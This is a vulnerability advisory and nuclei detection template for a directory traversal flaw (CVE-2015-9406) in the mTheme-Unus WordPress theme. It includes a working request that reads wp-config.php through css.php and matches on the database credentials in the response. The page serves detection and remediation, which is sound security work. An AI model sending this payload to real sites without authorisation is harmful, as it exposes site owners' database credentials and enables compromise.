mTheme Unus < 2.3 - Directory Traversal

highseverity

7.5CVSS score

58.9%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

The mTheme-Unus theme for WordPress, prior to version 2.3, contained a directory traversal flaw that let attackers access arbitrary files. This was possible by exploiting the files parameter in css/css.php with .. sequences.

Impact

Attackers can read sensitive files including database credentials and configuration files, potentially leading to full site compromise.

Fix

Upgrade to 2.3 or later version

How to confirm it

Send: GET {{BaseURL}}/wp-content/themes/mTheme-Unus/css/css.php?files=../../../../wp-config.php
Positive when: contains "DB_NAME" and "DB_PASSWORD" AND status 200

Run it with nuclei: nuclei -id CVE-2015-9406 -u <target>

The full check

id: CVE-2015-9406

info:
  name: mTheme Unus < 2.3 - Directory Traversal
  author: pussycat0x,dhiyaneshDk
  severity: high
  description: |
    The mTheme-Unus theme for WordPress, prior to version 2.3, contained a directory traversal flaw that let attackers access arbitrary files. This was possible by exploiting the files parameter in css/css.php with .. sequences.
  impact: |
    Attackers can read sensitive files including database credentials and configuration files, potentially leading to full site compromise.
  remediation: Upgrade to 2.3 or later version
  reference:
    - https://wpscan.com/vulnerability/d54b6b63-f280-412e-8c8f-17186727ac36/
    - https://wpscan.com/vulnerability/bc036ee3-9648-49db-ae52-3a58fdeb82eb/
    - https://wpvulndb.com/vulnerabilities/9890
    - https://packetstormsecurity.com/files/133778/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2015-9406
    cwe-id: CWE-22
    epss-score: 0.58867
    epss-percentile: 0.99116
    cpe: cpe:2.3:a:mtheme-unus_project:mtheme-unus:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    vendor: mtheme-unus_project
    product: mtheme-unus
    framework: wordpress
    fofa-query: 'body="wp-content/themes/mTheme-Unus/"'
  tags: cve,cve2015,wordpress,wp-theme,wp,wpscan,mtheme-unus,lfi,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/themes/mTheme-Unus/css/css.php?files=../../../../wp-config.php'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "DB_NAME"
          - "DB_PASSWORD"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from